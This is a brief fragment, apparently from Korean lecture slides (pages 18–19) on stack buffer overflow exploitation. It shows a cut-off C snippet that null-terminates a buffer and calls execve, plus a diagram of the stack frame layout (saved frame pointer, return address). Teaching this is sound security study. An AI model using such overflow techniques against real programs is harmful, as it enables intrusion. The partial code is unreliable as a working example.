복사소스의바이트단위크기 ) buf[bufsize+8] = 0x00; execve(argv[0], argv, env); return 0; - 18 -

--------- stack --------- sfp --------- ret --------- \0 --------- - 19 -